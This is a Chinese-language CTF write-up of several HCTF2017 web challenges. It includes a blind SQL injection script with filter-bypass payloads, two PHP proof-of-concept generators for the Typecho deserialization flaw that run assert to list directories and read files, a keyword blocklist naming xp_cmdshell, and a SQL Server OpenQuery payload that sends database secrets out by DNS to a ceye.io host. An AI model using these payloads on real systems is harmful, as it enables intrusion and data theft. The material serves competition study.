美文网首页
HCTF2017 部分web wp

HCTF2017 部分web wp

作者: Shad0w_zz | 来源:发表于2018-11-26 21:03 被阅读0次

SQL Silencer

SQL盲注,用自己渣渣的脚本fuzzing了一波,过滤了很多东西:* 空格 limit for ......
用白大佬构造的payload:写盲注脚本:

#coding=UTF-8
import requests
result = ''
url = 'http://sqls.2017.hctf.io/index/index.php'

payload = '?id=1%0d%3C%3E%0d(select%0dcase%0dwhen%0d(ascii(substring(({sql})from%0d{list}))={num})%0dthen%0d(select%0d0)%0delse%0d(select%0d1)%0dend)'

for i in xrange(0,50):
    for j in xrange(32,126):
        hh = payload.format(sql='select%0dflag%0dfrom%0dhctf.flag%0dwhere%0dflag%0dlike%0d0x256863746625',list=str(i),num=str(j))
        #print hh
        zz = requests.get(url+hh)
        #print zz.content
        if 'Alice' in zz.content:
            result += chr(j)
            print result
            break

跑出数据库hctf,题目给了表名flag
由于过滤了_不能查字段名,表名,select count(1)发现表里有2个字段
瞎猜字段名为flag,验证:selec count(flag)返回正确
模糊搜索select flag from hctf.flag where flag like hex(%flag%)


图片.png

本来以为是flag,刚开始各种尝试,发现是目录,但是返回403
于是乎开始跑另一个字段select flag from hctf.flag where flag not like hex(%flag%)


图片.png

这时候我激动了,于是乎这两个路径试来试去,然后问出题人说这不是脑洞!
........
http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php
一口老血........
Typecho前台序列化漏洞,但是没有写权限,只能读了。

poc

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = 'print_r(scandir('/'))';
        $this->_filter[0] = 'assert';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

参考文章:
https://paper.seebug.org/424/
http://p0sec.net/index.php/archives/114/
还有大白的poc:

<?php
global $functionName;
global $evilParam;
$functionName = "assert";
$evilParam = "print_r(scandir('/'))";
$b = new Typecho_Feed();

$poc = array(
    "adapter" => $b,
    "prefix" => 1,
    );

$data = serialize($poc);
$config = unserialize($data);
echo base64_encode($data).PHP_EOL;

class Typecho_Request
{
    private $_params = array(
        "screenName" => "",
        "url" => "phpinfo");
    private $_filter = array();

    public function __construct()
    {
        global $functionName;
        global $evilParam;
        $this->_params['screenName'] = $evilParam;
        $this->_filter = array($functionName);
    }

}

class Typecho_Feed
{
    /** 定义RSS 1.0类型 */
    const RSS1 = 'RSS 1.0';

    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';

    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';

    private $_type;

    const EOL = "\n";

    private $_items = array();
    public function __construct($version="1", $type = "ATOM 1.0", $charset = 'UTF-8', $lang = 'en')
    {
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
        $a = new Typecho_Request();
        $b = new Typecho_Request();
        $this->_items = array(array("author"=>$a,"category"=>array("name"=>$b)));
    }

}

读到目录了:

$this->_params['screenName'] = 'print_r(scandir("/"))';
$this->_filter[0] = 'assert';
图片.png

继续读:

$functionName = "assert";
$evilParam = "print_r(scandir('/flag_is_here'))";
图片.png
$functionName = "assert";
$evilParam = "print_r(file_get_contents('/flag_is_here/flag'))";
图片.png

boring website

扫描一下,www.zip中有index.php的内容:

<?php
echo "Bob received a mission to write a login system on someone else's server, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);

try {
   $conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", ""); 
}

catch( PDOException $e ) {
   die( "Error connecting to SQL Server".$e->getMessage() ); 
}

#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";

$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
    die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: On  linkname:mysql

$stmt = $conn->query( $query ); 
while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
    //TO DO: ...
    //It's time to sleep...
}

?>

因为我前面并没有做,
据说是sqlserver连接mysql的转换命令,再注入
参考文章:http://bobao.360.cn/learning/detail/3458.html
工具:http://ceye.io/records/dns
payload:
http://106.15.53.124:38324/?id=1; Select * from OpenQuery(mysql,'SELECT LOAD_FILE(CONCAT("\\\\",(select concat(id,name,password) from webwebweb.secret),".mysql.ip.port.xo2qpw.ceye.io\\abc"))');

相关文章

  • HCTF2017 部分web wp

    SQL Silencer SQL盲注,用自己渣渣的脚本fuzzing了一波,过滤了很多东西:* 空格 limi...

  • CSAW web部分wp

    0x01 Ldab Ldab????难道就是我前几天noxctf著名的Ldap注入 好了,参照noxctf的...

  • suctf-部分web题WP

    title: suctf-部分web题WPdate: 2018-11-14 09:57:29tags: [WP,c...

  • “鹏城杯”2018部分web wp

    myblog 十足的脑洞题!=-=访问index.php响应头中发现提示信息:?flag图片.pngphp://f...

  • [35c3 junior] 部分web wp

    本文首发在安恒的公众号:https://mp.weixin.qq.com/s/v6R3FwXhVal_jTkiMY...

  • BUUCTF web WP

    0x01 [HCTF 2018]WarmUp f12看到提示进入source.php,看到代码 分析第一段代码,$...

  • DDCTF部分wp

    MISC-签到题 flag见公告 MISC-(╯°□°)╯︵ ┻━┻ ……被群里的思路带歪了想了好久反转和aaen...

  • HBNIS部分wp

    是省赛,练习题和比赛题挑了几个有意思的和没见过的写这里了,有几个题没什么用留个工具就好(大部分题都能用txt打开-...

  • buuoj部分wp

    Web 1.[SUCTF]EasySQL 预期解 后台的查询语句可能为select $_POST['a'] || ...

  • RoarCTF 部分WP

    WEB easy_calc 访问calc.php不带num参数的时候就可以得到calc.php源码 输入?num=...

网友评论

      本文标题:HCTF2017 部分web wp

      本文链接:https://www.haomeiwen.com/subject/fwkcvftx.html